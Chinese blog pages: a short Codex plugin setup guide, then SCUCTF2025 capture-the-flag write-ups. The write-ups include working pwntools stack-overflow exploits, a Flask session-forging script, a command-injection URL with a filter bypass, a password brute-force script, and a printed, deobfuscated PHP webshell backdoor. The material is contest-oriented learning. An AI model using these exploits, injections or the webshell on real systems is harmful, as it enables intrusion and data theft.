在vscode中打开Codex插件，点击右上角的齿轮图标，在codex设置中打开config.toml，进行编辑 若无法通过此方法打开config.toml，可参阅下方编辑auth.json的方法，两文件在同一目录中 将下列代码粘贴进入config.toml中，填入自己的base_url

1
model_provider = "sub2api"              #模型提供商，需要与下面的名字一致
2
model = "gpt-5.4"                       #你要使用的模型名称
3
review_model = "gpt-5.4"                #你要使用的模型名称
4
model_reasoning_effort = "xhigh"        #模型推理等级(请按需调整)
5
network_access = "enabled"              #是否允许网络访问(建议保持开启)
6
disable_response_storage = true         #是否禁止响应存储(建议保持开启)
7
windows_wsl_setup_acknowledged = true   #是否确认windows wsl设置(建议保持开启)
8
model_verbosity = "high"                #模型输出等级(建议保持)
9
model_context_window = 1000000          #最大上下文(请按需调整，会增加token消耗)
10
model_auto_compact_token_limit = 900000 #上下文自动压缩阈值(请按需调整)
11

12
[model_providers.sub2api]
13
name = "sub2api"                        #模型提供商名称，需要与上面的名字一致
14
base_url = "https://**********"         #你的base_url
15
wire_api = "responses"                  #保持不变
16
requires_openai_auth = true             #是否需要openai认证(保持开启)

显示更多显示更少

打开%userprofile%\.codex文件夹，编辑auth.json文件，填入自己的OPENAI_API_KEY (按 Win+R，输入 %userprofile%.codex 打开配置目录)

1
{
2
  "OPENAI_API_KEY": "sk-*****************************************"
3
}

自此，搞完收工，可以在vscode中愉快地使用Codex插件了

需要购买codex的可以去这里(带aff)，也可以自己搭建sub2api等项目使用（free可用codex，因此注册机启动~~！）

SCUCTF2025 WriteUp For Pwn

Mon, 22 Dec 2025 00:00:00 GMT

题目解题过程#

Pwn-Test_You_NC 解题步骤：#

如题所示，nc连接轻松解出flag： flag{f1715dfe4eaf4000966cba0d51c777aa}

Pwn-ret2function 解题步骤：#

将附件丢入IDA pro中得到代码，发现gets(s) 函数不检查输入长度。标准的栈溢出，在fun函数中发现有system函数，但是system函数的参数是固定的，所以需要通过ret2libc来调用system函数，从而执行/bin/sh 编写脚本构造payload

1
from pwn import *
2
context.log_level = 'debug'
3
context.arch = 'i386' # 32位程序
4
filename = 'C:\\Users\\CodeAtlantis\\Downloads\\附件\\pwn'
5
elf = ELF(filename)
6

7
io = remote('challenge.qsnctf.com', 45526)
8

9
try:
10
    sys_addr = elf.symbols['system']
11
    print(f"system address: {hex(sys_addr)}")
12
except:
13
    print("Error: 找不到 system 函数符号")
14
    exit()
15

16
try:
17
    # 尝试搜索 "/bin/sh"
18
    bin_sh_addr = next(elf.search(b'/bin/sh'))
19
    print(f"'/bin/sh' address: {hex(bin_sh_addr)}")
20
except StopIteration:
21
    try:
22
        # 如果找不到 /bin/sh，尝试搜索 "sh"
23
        print("Warning: '/bin/sh' not found, trying 'sh'")
24
        bin_sh_addr = next(elf.search(b'sh\x00'))
25
        print(f"'sh' address: {hex(bin_sh_addr)}")
26
    except StopIteration:
27
        print("Error: 程序中找不到 '/bin/sh' 或 'sh' 字符串。")
28
        print("可能需要 Ret2Libc 攻击，这需要更复杂的步骤。")
29
        exit()
30

31
offset = 0x10 + 4
32

33
payload = flat([
34
    b'A' * offset,      # 填充数据，覆盖缓冲区和EBP
35
    sys_addr,           # 覆盖返回地址，跳转到 system
36
    0xdeadbeef,         # system 执行完后的返回地址 (随便填，不重要)
37
    bin_sh_addr         # system 的第一个参数 (指向 "/bin/sh" 的指针)
38
])
39

40
# 6. 发送攻击
41
io.recvuntil(b'please input:') # 根据题目实际输出调整
42
io.sendline(payload)
43

44
# 7. 交互
45
io.interactive()

显示更多显示更少

运行然后执行命令，然后ls; cat flag;

得到flag：flag{aaa7e3dd428b4a26bae9aa8b90640b6e}

Pwn-ret2function1 解题步骤：#

大体同上一题相似题目明确说是 x86_64，所以脚本里要改成 context.arch = ‘amd64’，偏移量是 24 然后加个 ret gadget，凑齐16字节，将栈对齐脚本：

1
from pwn import *
2
context.arch = 'amd64'
3
context.log_level = 'debug'
4
binary_name = 'C:\\Users\\CodeAtlantis\\Downloads\\app\\pwn'
5
io = remote('challenge.qsnctf.com', 45529)
6

7
try:
8
    fun_addr = elf.symbols['fun']
9
except:
10
    fun_addr = 0x401156
11

12
print(f"Target Function Address: {hex(fun_addr)}")
13

14
rop = ROP(elf)
15

16
ret_addr = rop.find_gadget(['ret'])[0]
17
print(f"Found RET gadget: {hex(ret_addr)}")
18

19
offset = 24
20

21
payload = flat([
22
    b'A' * offset,  # 填充 24 字节
23
    ret_addr,       # <--- 这里加一个 ret，用于对齐栈 (RSP+8)
24
    fun_addr        # 最后跳转到 fun (里面调用了 system)
25
])
26

27
io.recvuntil(b'please input:')
28
io.sendline(payload)
29

30
io.interactive()

显示更多显示更少

然后不轻松的解出flag

SCUCTF2025 WriteUp For Reverse

Mon, 22 Dec 2025 00:00:00 GMT

题目解题过程#

Reverse-EasyCaesar 解题步骤：#

拿到题丢进IDA pro 找到字符串xdsy{82847s57s3ts7233219s8719x554596t}，猜测是凯撒密码丢入https://tools.081192.xyz/tools/caesar-decode.html中解密轻松解出flag：flag{82847a57a3ba7233219a8719f554596b}

Reverse-byte_by_byte 解题步骤：#

丢入IDA pro解出伪代码使用 rol8 (循环左移) 撤销步骤4 逆向 ROL/XOR：先异或 (11 * i) ^ 0xA5，然后使用 ror8 (循环右移) 撤销步骤3的 rol8。逆向 ADD：减去 7 * i + 3。逆向 XOR：异或 Key[i % 6]。编写脚本解出flag

1
import struct
2

3
def rol8(val, r_bits):
4
    r_bits = r_bits % 8
5
    return ((val << r_bits) | (val >> (8 - r_bits))) & 0xFF
6
def ror8(val, r_bits):
7
    r_bits = r_bits % 8
8
    return ((val >> r_bits) | (val << (8 - r_bits))) & 0xFF
9

10
v7 = -557828333
11
v8 = -26302
12
key_bytes = list(struct.pack('<i', v7) + struct.pack('<h', v8))
13
buf2_values = [
14
    0x8751729E0871B2AA,
15
    0x27AFCE16D405B447,
16
    0x54E3517471E2E4AD,
17
    0xD70C4F97FB5A5DBC
18
]
19
target_bytes = []
20
for val in buf2_values:
21
    target_bytes.extend(struct.pack('<Q', val))
22

23
flag_content = []
24

25
for i in range(32):
26
    v25 = target_bytes[i]
27
    shift_4 = (i % 5) + 1
28
    v25 = rol8(v25, shift_4)
29
    xor_mask = ((11 * i) & 0xFF) ^ 0xA5
30
    v25 = v25 ^ xor_mask
31
    shift_3 = (i % 3) + 1
32
    v25 = ror8(v25, shift_3)
33
    sub_val = (7 * i + 3) & 0xFF
34
    v25 = (v25 - sub_val) & 0xFF
35
    v25 ^= key_bytes[i % 6]
36
    flag_content.append(chr(v25))
37

38
print("flag{" + "".join(flag_content) + "}")

显示更多显示更少

flag：flag{f864517668e8bd4e7469c37fafa71958}

Reverse-Easy_Xor 解题步骤：#

丢入IDA pro解出伪代码编写脚本

1
import struct
2
v5_vals = [
3
    0x44EA959867464376,
4
    0xC99C0A263BC3136F,
5
    0x52236BE1265FA8E7,
6
    0x86B984038ED0E321
7
]
8
target_bytes = b''.join(struct.pack('<Q', val) for val in v5_vals)
9

10
v6 = bytearray(7)
11
struct.pack_into('<I', v6, 0, 2018915346)
12
struct.pack_into('<i', v6, 3, -558065032)
13

14
flag_content = ""
15
for i in range(32):
16
    t = target_bytes[i]
17
    k = v6[i % 7]
18
    m = (13 * i + 7) & 0xFF
19

20
    char_code = t ^ k ^ m
21
    flag_content += chr(char_code)
22
print(f"flag{{{flag_content}}}")

显示更多显示更少

解出flag：flag{cc119aa449279d37f44d4a26f556b0bd}

Reverse-maze 解题步骤：#

逆向，在字符串中得到地图分析代码，接受小写wasd 按照地图反推 flag为：flag{ddssddwwddddssssssss}

Reverse-RE 解题步骤：#

逆向，得到伪代码，分析得到与target_3810数组有关查看target_3810数组的值，得到flag 编写代码解出flag

1
target_3810 = [0x6D, 0x76, 0x6E, 0x77, 0x8E, 0x8D, 0x7E, 0x88, 0x82, 0x91, 0x92, 0x8D, 0x8A, 0xA2, 0xA0, 0x93, 0xA9, 0x9F, 0x5E, 0xBD, 0x0C]
2

3
res = []
4
for i, val in enumerate(target_3810):
5
    char_code = val - 3 * i - 7
6
    res.append(char_code)
7

8
print(f"Decoded values: {res}")
9
print(f"Decoded chars: {[chr(c) if 32 <= c <= 126 else '?' for c in res]}")

flag：flag{welcome_to_re!}

SCUCTF2025 WriteUp For Web

Mon, 22 Dec 2025 00:00:00 GMT

题目解题过程#

Web-教务管理系统解题步骤：#

简简单单SQL注入然后进入后台修改成绩，获得flag flag{a74f0bf731c94271b43a7c6dcd14cf95}

Web-Cookies 解题步骤：#

这是一道典型的 Flask Session 伪造根据源代码，derived_level 函数决定了是否能获取flag 要成为superadmin，伪造Session，且满足两个条件： 1.role 必须是 “admin” 2.user 必须是 secret_key 的倒序字符串。、

安装flask-unsign工具下载rockyou字典爆破SECRET_KEY 然后构造payload发送伪造的session访问/admin 编写脚本获取flag

1
import requests
2
import subprocess
3
import re
4
import sys
5
import os
6

7
TARGET_URL = "http://challenge.qsnctf.com:45436"
8
ADMIN_URL = f"{TARGET_URL}/admin"
9

10
def log(msg, type="+"):
11
    print(f"[{type}] {msg}")
12

13
def get_initial_session():
14
    """获取初始 Session Cookie"""
15
    resp = requests.get(TARGET_URL, timeout=10)
16
    cookie = resp.cookies.get('session')
17
    return cookie
18

19
def crack_key(cookie):
20
    """使用外部的大型字典文件进行爆破"""
21
    wordlist_path = "rockyou.txt"
22

23
    log(f"正在使用外部字典 {wordlist_path} 爆破 SECRET_KEY...", "*")
24
    cmd = [
25
        "flask-unsign", "--unsign",
26
        "--cookie", cookie,
27
        "--wordlist", wordlist_path,
28
        "--no-literal-eval"
29
    ]
30
    process = subprocess.run(cmd, capture_output=True, text=True)
31

32
    output = process.stdout.strip()
33
    match = re.search(r"'(.*?)'", output)
34
    if match:
35
        key = match.group(1)
36
        log(f"爆破成功! SECRET_KEY: {key}")
37
        return key
38
    return output
39

40
def sign_admin_cookie(secret_key):
41
    """构造 Payload 并重新签名"""
42
    user_value = secret_key[::-1]
43
    payload = f"{{'role': 'admin', 'user': '{user_value}'}}"
44

45
    log(f"构造 Payload: {payload}", "*")
46

47
    cmd = [
48
        "flask-unsign", "--sign",
49
        "--cookie", payload,
50
        "--secret", secret_key
51
    ]
52
    process = subprocess.run(cmd, capture_output=True, text=True)
53
    forged_cookie = process.stdout.strip()
54
    return forged_cookie
55

56
def exploit(session_cookie):
57
    """发送 Payload 获取 Flag"""
58
    log("正在发送 Payload 获取 Flag...", "*")
59

60
    cookies = {'session': session_cookie}
61
    resp = requests.get(ADMIN_URL, cookies=cookies)
62
    flag_match = re.search(r'(qsnctf\{.*?\}|flag\{.*?\})', resp.text, re.IGNORECASE)
63
    log(f"最终结果: \033[92m{flag_match.group(1)}\033[0m", "+")
64

65
if __name__ == "__main__":
66
    sess = get_initial_session()
67
    key = crack_key(sess)
68
    evil_sess = sign_admin_cookie(key)
69
    exploit(evil_sess)

显示更多显示更少

运行后解出flag

Web-死亡PING命令解题步骤：#

分析代码，需要进行命令注入和关键词过滤绕过执行http://challenge.qsnctf.com:45532/?ip=127.0.0.1;ls / 得到

1
PING 127.0.0.1 (127.0.0.1): 56 data bytes 64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.039 ms 64 bytes from 127.0.0.1: seq=1 ttl=42 time=0.100 ms 64 bytes from 127.0.0.1: seq=2 ttl=42 time=0.077 ms 64 bytes from 127.0.0.1: seq=3 ttl=42 time=0.080 ms --- 127.0.0.1 ping statistics --- 4 packets transmitted, 4 packets received, 0% packet loss round-trip min/avg/max = 0.039/0.074/0.100 ms bin dev etc flag home lib media mnt proc root run sbin srv sys tmp usr var

此时发现flag文件执行http://challenge.qsnctf.com:45532/?ip=127.0.0.1;cat /fl''ag 返回内容中获得flag flag{876ebc5691104710a5232b9a3274985c}

Web-MiniGame 解题步骤#

猜测得到用户名为zhangsan 根据题目提示编写脚本爆破密码

1
import requests
2
import datetime
3

4
url = "http://challenge.qsnctf.com:46025/login"
5
username = "zhangsan"
6
year = 1993
7

8
def attack():
9
    print(f"[*] 开始爆破用户 {username}，年份: {year} ...")
10

11
    start_date = datetime.date(year, 1, 1)
12
    end_date = datetime.date(year, 12, 31)
13
    delta = datetime.timedelta(days=1)
14

15
    current_date = start_date
16

17
    s = requests.Session()
18

19
    found = False
20

21
    while current_date <= end_date:
22
        date_str = current_date.strftime("%Y%m%d")
23
        password = f"{username}{date_str}"
24
        data = {
25
            "username": username,
26
            "password": password
27
        }
28

29
        try:
30
            response = s.post(url, data=data)
31
            if "密码错误" not in response.text:
32
                print(f"\n[+] !!! 爆破成功 !!!")
33
                print(f"[+] 正确密码: {password}")
34
                if "flag" in response.text.lower() or "qsnctf" in response.text.lower():
35
                    print("[+] 页面包含 Flag 信息，请查看下方内容:")
36
                    print("-" * 30)
37
                    print(response.text.strip())
38
                    print("-" * 30)
39
                else:
40
                    print("[+] 未直接发现 flag 关键字，可能是跳转了，请手动尝试该密码。")
41
                    print(f"[+] 状态码: {response.status_code}")
42

43
                found = True
44
                break
45
            if int(date_str) % 50 == 0:
46
                print(f"[-] 正在尝试: {password} ...")
47

48
        except Exception as e:
49
            print(f"[!] 请求异常: {e}")
50

51
        current_date += delta
52

53
    if not found:
54
        print("\n[-] 字典跑完了，未找到密码。")
55
        print("[-] 建议检查：1. 用户名是否正确？ 2. 密码格式是否为 zhangsan+YYYYMMDD？")
56

57
if __name__ == "__main__":
58
    attack()

显示更多显示更少

爆破得到密码zhangsan19930725 登录进去与站长对话获得flag：flag{b3af41867a30475683e5b4d0fad7a69d}

SCUCTF2025 WriteUp For Misc

Mon, 22 Dec 2025 00:00:00 GMT

题目解题过程#

Misc-二维码的秘密解题步骤：#

文件啥也没有，一眼LSB隐写 StegSolve打开，Blue plane 1通道发现二维码，扫描后得到flag 轻松拿下flag： flag{43ff4dfc6018149aba91dce2efffe64a}

Misc-欢迎来到川大解题步骤：#

打开文件，拖入010editor，发现文件末尾有flag 轻松解出flag: flag{8c79c19629b139fa330d2ae47d44ce7c}

Misc-奇怪的字符解题步骤：#

中文谐音（或无线电术语）对英文字母和数字的转写艾福 => f 艾偶 => l …以此类推轻松解出flag：flag{f5fca0daffb0ebf4b2cd837a53ef1175}

Misc-webshell 解题步骤：#

流量分析题，手边没有WireShark 数据包丢进https://apackets.com/中进行分析，在HTTP请求中发现可疑的php代码识别出这是工具 Weevely 生成的 webshell 代码中大量使用了 hZ 作为干扰字符，编写代码进行解析

1
i = 'p="PY16bXfpTDNaKhZyiy";fhZuhZhZnctiohZn x($hZt,$k){$c=strlhZen($k);$l=hZstrh'
2
d = 'Zlen($t);$hZhZo="hZ";for(hZ$i=0;$i<$l;){forhZ($hZj=0;(hZhZ$j<$hZc&&$i'
3
g = 'g_match("hZ/hZ$kh(.+)$kf/",@fihZlhZhZehZ_gehZt_contentshZ("php://ihZnp'
4
P = '<$l);$j++hZ,$i++hZ){$hZo.=hZ$t{hZ$i}^hZ$k{$j};}}return $ohZhZ;}if (@prhZe'
5
t = 'asehZ64_enhZcodhZe(@hZx(@gzhZcomprehZss($ohZ),$k)hZ);prhZint("$p$kh$r$kf");}';
6
A = '$k=hZ"9e94b15hZe";$kh=hZ"d312fahZ4223hZ2f";$khZf="d87ahZ55db0hZd39hZ";$hZ'
7
u = 'uthZ"),$m)==1) {hZ@ob_hZstart();@evhZal(@hZgzuncomprehZsshZ(@x(@basehZ64_hZdecod'
8
h = 'e($m[1]hZ),$k)))hZ;$ohZ=@ohZb_gethZ_contents()hZ;hZ@ob_hZend_clean()hZ;$r=@b'
9

10
combined = A + i + d + P + g + u + h + t
11
cleaned_code = combined.replace('hZ', '')
12
print(cleaned_code)

运行结果：

1
$k="9e94b15e";$kh="d312fa42232f";$kf="d87a55db0d39";$p="PY16bXfpTDNaKyiy";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

将k kh kf字符串拼接得到一串MD5 9e94b15ed312fa42232fd87a55db0d39 进入https://md5.cc/查询得到payload 为 007

在提取出数据包里面被加密的字符串（剩余两张图略）

根据字符串特征和先前代码，编写脚本解密

1
import base64
2
import zlib
3
def xor(data, key):
4
    key_len = len(key)
5
    output = bytearray()
6
    for i in range(len(data)):
7
        output.append(data[i] ^ ord(key[i % key_len]))
8
    return output
9
def decode_payload(payload_b64, key):
10
    encrypted = base64.b64decode(payload_b64)
11
    compressed = xor(encrypted, key)
12
    decrypted = zlib.decompress(compressed)
13
    return decrypted
14
key = "9e94b15e"
15
payloads = [
16
    "Qflyeaz5Yk2XSRd9r+RlShEqaOPWNzUjlWOz",
17
    "QfnqGykd50oWSu77Svj4hOsi3zViuTxs0g==",
18
    "Qflyeaz5Yk2XSRd9r+RlqhAz7oBkMQo4P3s=",
19
    "QfkK4En5HYVzrnB4tRqcTbhVkwZpiQeWazcSwFB7RxaB7wpmEUP1r9lJOTbwIgE=",
20
    "Qflyeaz5Yk2XSRd9r+RlKndJaHypeHmyEswRZbWFM2WtPDCL",
21
    "Qfly/yt9misPVwx7UX2EsYxRjgSxBARRdreMACx95iiMUXaFLod5UI1Rc56H0zdlJ6I1JA=="
22
]
23
for i, p in enumerate(payloads):
24
    result = decode_payload(p, key)
25
    print(result)

显示更多显示更少

得到结果

1
b"echo system('pwd');"
2
b'/var/www/html\n/var/www/html'
3
b"echo system('ls');"
4
b'1.php\nflag.txt\nflag.zip\nindex.html\nshell.php\nshell.php'
5
b"echo system('cat flag.txt');"
6
b'flag{c257f1d9-9786-417b-93af-e97d9c9e192b}\n\n'

不轻松的解出flag: flag{c257f1d9-9786-417b-93af-e97d9c9e192b}

Misc-Anno 解题步骤：#

分析代码，发现是 AES-CBC 加密和LSB隐写的代码编写脚本解密

1
from PIL import Image
2
import numpy as np
3
from Crypto.Cipher import AES
4
from Crypto.Util.Padding import unpad
5
class AES_LSB_Decryptor:
6
    def __init__(self, key):
7
        self.key = key
8
    def extract_data(self, image_path, bits_per_channel=1):
9
        img = Image.open(image_path)
10
        arr = np.array(img)
11
        height, width, channels = arr.shape
12
        bits = []
13
        for y in range(height):
14
            for x in range(width):
15
                for c in range(min(channels, 3)):
16
                    pixel_value = arr[y, x, c]
17
                    val = pixel_value & ((1 << bits_per_channel) - 1)
18
                    bits.append(format(val, f'0{bits_per_channel}b'))
19
        all_bits = "".join(bits)
20
        def bits_to_bytes(bit_str):
21
            byte_arr = bytearray()
22
            for i in range(0, len(bit_str), 8):
23
                byte = bit_str[i:i+8]
24
                if len(byte) < 8: break
25
                byte_arr.append(int(byte, 2))
26
            return bytes(byte_arr)
27

28
        full_data = bits_to_bytes(all_bits)
29
        data_len = int.from_bytes(full_data[:4], 'big')
30
        encrypted_payload = full_data[4 : 4 + data_len]
31
        return encrypted_payload
32

33
    def decrypt_data(self, encrypted_payload):
34
        iv = encrypted_payload[:16]
35
        ciphertext = encrypted_payload[16:]
36
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
37
        decrypted_padded = cipher.decrypt(ciphertext)
38
        return unpad(decrypted_padded, AES.block_size).decode('utf-8')
39

40
def main_decrypt():
41
    STEGO_IMAGE = "C:\\Users\\CodeAtlantis\\Downloads\\task\\stego.png"
42
    AES_KEY = b"0123456789abcdef0123456789abcdef"
43
    decryptor = AES_LSB_Decryptor(key=AES_KEY)
44
    encrypted_data = decryptor.extract_data(STEGO_IMAGE)
45
    secret_message = decryptor.decrypt_data(encrypted_data)
46
    print(f"{secret_message}")
47

48
if __name__ == "__main__":
49
    main_decrypt()

显示更多显示更少

解出flag：flag{7c6ac938-04bc-4127-8bb8-9db4d92f9163}

Misc-pgp 解题步骤#

拿到gpg文件使用pgp5windows工具轻松解出flag：flag{e56d50da93bb4d7e95a73d83305dac60}

Misc-Algorithm 解题步骤#

二分猜数游戏，编写脚本

1
from pwn import *
2

3
host = 'challenge.qsnctf.com'
4
port = 45991
5

6
r = remote(host, port)
7
low = 1 << 127
8
high = (1 << 128) - 1
9
found = False
10
secret = 0
11

12
print("Starting binary search...")
13

14
for i in range(200):
15
    mid = (low + high) // 2
16
    r.recvuntil(b'Choice: ')
17
    r.sendline(b'1')
18
    r.recvuntil(b'Enter a number: ')
19
    r.sendline(str(mid).encode())
20

21
    result = r.recvline().strip().decode()
22

23
    if result == 'less':
24
        low = mid + 1
25
    elif result == 'greater':
26
        high = mid - 1
27
    elif result == 'equal':
28
        secret = mid
29
        found = True
30
        print(f"Secret found: {secret}")
31
        break
32
    else:
33
        print(f"Unexpected response: {result}")
34
        break
35

36
if found:
37
    r.recvuntil(b'Choice: ')
38
    r.sendline(b'2')
39
    r.recvuntil(b'Enter secret number: ')
40
    r.sendline(str(secret).encode())
41

42
    flag = r.recvall().decode()
43
    print("Flag:", flag.strip())
44
else:
45
    print("Failed to find the secret within the attempts.")
46

47
r.close()

显示更多显示更少

解出flag：flag{8cd598b4380846a1a86698412a9312b1}

SCUCTF2025 WriteUp For Crypto

Mon, 22 Dec 2025 00:00:00 GMT

题目解题过程#

Crypto-Cipher_World 解题步骤：#

分析给出的source.py文件

这是一个简单的凯撒密码的变种，位移量随着字符的位置变化，且大小写处理有特定的模运算规则，数字不变

解密时 val = (ord(ch) - 'A' - i) % 26

解题脚本：#

1
def decrypt():
2
    ciphertext = 'LSIP{90O3016XY507ZAC594393LI4O5111Q9S}'
3
    flag = ''
4
    for i, ch in enumerate(ciphertext):
5
        if not ch.isalpha():
6
            flag += ch
7
            continue
8
        val = (ord(ch) - 0x41 - i) % 26
9
        if 6 <= val <= 25:
10
            flag += chr(val + 91)
11
        else:
12
            flag += chr(val + 117)
13
    print(f"Flag: {flag}")
14

15
if __name__ == '__main__':
16
    decrypt()

显示更多显示更少

运行结果 Flag: flag{90b3016ff507ccd594393fb4f5111c9c}

Crypto-简单RSA 解题步骤#

ezRSA 不解释了

解题脚本：#

1
from Crypto.Util.number import long_to_bytes
2

3
e = 3
4
p = 11970437609424596149536516744044280453332961535134364392954434221723172001603547461858859616240819109871284915934211118452427511186758259263490529797183361
5
q = 10454691614319199509984285452491816961189450584838035893749531757606836106186876289209494643976610977546104812311094237581643733495040164470836760560610627
6
c = 2217344750801189524274672246862938085230661153285289146344769088886101104266265675532720897651469165487936001729716998210925650514547201125501752361367850192853855048192077103944658191705037250271099453495255941354758075102252955975698663958089720904359276147538714118305125
7

8
n = p * q
9
phi = (p - 1) * (q - 1)
10
d = pow(e, -1, phi)
11
m = pow(c, d, n)
12

13
flag = long_to_bytes(m)
14
print(flag.decode())

运行结果： flag{c1f6e9cf71a42f9e99be3f851d0d6088}

Crypto-简单RSA1 解题步骤#

典型的 RSA 广播攻击

利用中国剩余定理，解出一个数C，对其开九次方根转为字符串可得

解题脚本：#

1
import functools
2
e = 9
3
c_list = [
4
    60422774210368167327558627099503223974670502084592298403112716646213334530032773234608142517191740444601035032070461194506178138724801135668866092433881204619871489146045843805774665744056126898766806350409856875224095143355701779695366417022344634716616249876844097454374970404837382227345659132820123173090,
5
    1548515472542316970009797910524227526630156194940307567149710794848104029396305230930111704481262581322839492286657653840938695169639711592483638773207490216874541714729392096593203790489682575969667095637968950192880807561674072457193648727737045484738557043064266187864083049444694178191841664061548682683,
6
    63997269544043702340964896221661508722956887514279460624642813755652774883143550345386812788592519505671422832361174285914433909536227429706004712896397700388850196115606657589639207044923816067418993158614375848914930487298899738427807035731730548407132064049495948921908065995853280533716005062034745711124,
7
    104830260954270440141508756392562106621435137055016416078870669348823346707880271508087681647839991301064773171215622891078684827246896078527036199521374752596232033482487255612526276285371686577467356527917016025635514476084437378881338787118318802879655229449178722759877198041555207502237145282063176764305,
8
    71669917331764722389157935763877578382985127342955191183183692459861565299036170505447883908062184543911705463919031165806756457533030572649589981282789495117729671527243521681495074641961010071972272597379972539562020760943540081270589375385614591155379778736486090959007417250045146479157295997429112978997,
9
    23773925910774699270810426463564022549424863330447040742239562595391864704312326001621709687376662658134425995416608051972054472083265848514185213232814172499350439655140786642288191937078117177731879868077201383311710568859559981812401123508790477105093578893618483910705071231331130366213882626533985482222,
10
    42776588367917717675885058628724816119700229198486990585115596821940448842946552981487116918437502457989573136786095120564571857078694105020100617511360733783082851727533230712128301162593007827182123732458079937856074308824552940568298500753989933627593849759407222527616626156605806175185195913388890191545,
11
    54820443622797797186192761450715649064921880356969423747101414510307901790878759069668816270269496462696882985332594161667137012315255719522029658357094696269444322821426023746210435484154436686082542365841404940801549584343200856781798748454236804338471955873845738807870277756362625112088919202584613815740,
12
    60178854503899966556171158804048653831385155840953199884942738389508007987866572251220367652857368821428399443097581281918516404295980084380147677181255226527487538713322419099365319266934781017251843916925817987501769624108408790645509480850225200315997383962492544168651407394451724125751330326334636707580
13
]
14
N_list = [
15
    88841820276163724263438846296068200320485097354749847010976879067550071438994684776528402355714809553031713190050749873292944726903048853887859066061952867282417916541952630388795078475960898412923434669886923999144331042639200168594173630372477755390371662439076269735063240694415445021186889825816016117453,
16
    93953758051319253359579731704060639536267853267711049880442341366771230912165467487090178573110137038295708528434195805452005607923955581728793960178214596438703215521559446077067409243755580630361568875148731728012780161208369254662360999761752744734585832201063267092704877183176175189893157990697534410409,
17
    127352185375550372587448469026585048828446233519928164720532530645631707081355644666645434032032186445842680270384096738633676399371498011092700153321606429373068682501223567216265274224689751526798408937238251686669014231339968745956954050528831895323165487624218746651080296896286708600518255581494292117301,
18
    154448413516358892969248743140276640339606562736911501703655437715441333981350609741709978963153922708040922138014711618164682927812024456777084918811264347224716673620482594783702272353729239203132823079184635827934187699248544816907634482998356370330216618544340068635964425787151804295946486323677569277043,
19
    72237222277258949182585898123485137101708510712454289820633948056766008260117895206692893184664490470095152924160991112164786451897453627887305864637835829779016480376648904826622280345630123463579156284803015258813482975400452520787683381656522052691879289749812756833196769338881404071920995888552725837021,
20
    106978652002111246156063737109565478485922532124287475172565398755013000859883653857649201625275367574593525939198448178131883763819899126671812583410317698227630021228461030849813578540353643433051719181778207950345107852587856091546460039372117533815633860683972467268679873164522336301766334669813569892009,
21
    110963945212745197187480222996599866552015314274716440154897515058638889531177455039059203994000119337812866505660376610888035043780529182516475252816022071401156430541841305266731777858019368903210378212726389353434384586451892173596633310342985236413470250744473363216319627266939655992734266474193261586763,
22
    124625219042421896961932138641725151211805761652851987702606252482209225797773654819889669843921475587441962761805781037861257589009645810296406412428009946637545233313203781628386498465407937674615254385579626824582054064668000256523863084598457655759530137778050037794507617069386987192786026689925121304461,
23
    102654059769982892436994624032423399483028839711488642282195204637151212212197096740210156430444671562825376364550907009300610959578821401146824412736690246407882335281256332929901166198471015948454896195497907986039266862402406607821108902857334359403847441547281832143252567554884117234781542951019266606663
24
]
25
def egcd(a, b):
26
    if a == 0:
27
        return (b, 0, 1)
28
    else:
29
        g, y, x = egcd(b % a, a)
30
        return (g, x - (b // a) * y, y)
31
def modinv(a, m):
32
    g, x, y = egcd(a, m)
33
    return x % m
34
def crt(a, n):
35
    prod = functools.reduce(lambda x, y: x * y, n)
36
    sum_val = 0
37
    for n_i, a_i in zip(n, a):
38
        p = prod // n_i
39
        sum_val += a_i * modinv(p, n_i) * p
40
    return sum_val % prod
41
def find(x, n):
42
    high = 1
43
    while high ** n < x:
44
        high *= 2
45
    low = high // 2
46
    while low < high:
47
        mid = (low + high) // 2
48
        if low < mid and mid**n < x:
49
            low = mid
50
        elif high > mid and mid**n > x:
51
            high = mid
52
        else:
53
            return mid
54
    return mid + 1
55
if __name__ == '__main__':
56
    M_e = crt(c_list, N_list)
57
    m_int = find(M_e, e)
58
    num_bytes = (m_int.bit_length() + 7) // 8
59
    m_bytes = m_int.to_bytes(num_bytes, byteorder='big')
60
    print(f"{m_bytes}")

显示更多显示更少

运行结果： b'flag{650ca162adc4a2f51e1b9af942df29f1}'

Crypto-山人八卦袖内藏解题步骤#

八卦来表示二进制数值

正反+两个卦象的值得出二进制整数，对应的ASCII码字母组合得到flag

正艮巽 => 1 100 110 => 1100110 => f

以此类推，得到flag为 flag{90b3016ff507ccd594393fb4f5111c9c}

Crypto-01248 解题步骤#

Crypto中最水也是最恶心的题目

01248密码秒了，得出FLAG{YUNYING}

试了很多遍最后发现flag为 flag{YunYing}

这不是纯纯恶心人吗。。。

Crypto-什么栏目解题步骤#

看到栏目，一眼栅栏密码，解密得到flag 在https://ctf.bugku.com/tool/railfence上枚举解密轻松得到flag：flag{bf49f41f492b4d578ecda3a9afb0f54c}

Crypto-小小维纳，可笑可笑解题步骤#

给出的 n和e都非常大（约 1024 位），且e和n的数量级相同。根据提示，选择维纳攻击

1
import math
2

3
def continued_fractions(n, d):
4
    while d:
5
        q = n // d
6
        yield q
7
        n, d = d, n % d
8

9
def convergents(cf):
10
    n0, n1 = 0, 1
11
    d0, d1 = 1, 0
12
    for q in cf:
13
        n_next = q * n1 + n0
14
        d_next = q * d1 + d0
15
        yield n_next, d_next
16
        n0, n1 = n1, n_next
17
        d0, d1 = d1, d_next
18

19
def solve_quadratic_int(a, b, c):
20
    # Roots of ax^2 + bx + c = 0
21
    # Delta = b^2 - 4ac
22
    delta = b*b - 4*a*c
23
    if delta < 0: return None
24

25
    # Integer square root
26
    isqrt_delta = math.isqrt(delta)
27

28
    if isqrt_delta * isqrt_delta != delta:
29
        return None
30

31
    # Roots
32
    x1 = (-b + isqrt_delta) // (2*a)
33
    x2 = (-b - isqrt_delta) // (2*a)
34
    return x1, x2
35

36
